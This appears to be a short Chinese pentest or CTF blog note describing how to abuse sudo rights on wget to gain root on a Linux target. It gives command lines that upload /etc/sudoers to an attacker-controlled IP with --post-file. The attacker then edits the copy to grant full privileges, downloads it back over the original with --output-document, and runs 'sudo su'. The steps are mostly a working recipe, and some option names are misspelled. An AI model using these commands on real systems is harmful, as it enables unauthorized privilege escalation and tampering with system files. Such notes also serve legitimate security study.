Wget的特殊提权方法(若是在gtfobins上搜到的方法失效用这个)

2023-01-16

特别地,有时在目标机上使用GTFOBins搜到的方法失效,这里记录一下wget的特殊提权方法

原理:

  wget有两个选项:

  –post-flie可以传送文件

  –output-document可以将下载的文件另存为(即可以覆盖原文件)

方法:

1.先将目标机上etc文件夹下的sudoers上传到本地机上

sudo wget --post-file=etc/sudoers {my_ip}
my_ip为本地机ip

2.然后在本地机上修改修改sudoers文件,找到目标机用户名所在位置,把ROOT或NONE全修改为ALL。

例子:
jhinjax ALL=(ALL:ALL) ALL

3.修改完后在目标机上用wget获取本地机上的sudoers文件,通过–output可以直接覆盖目标机上原来的sudoers文件,即达到强行修改用户权限的方法。

sudo wget {my_ip:myports/../../sudoers} --output-document=/etc/sudoers
myports为本地机上开放的端口

最后

sudo su

即可为目标机上的root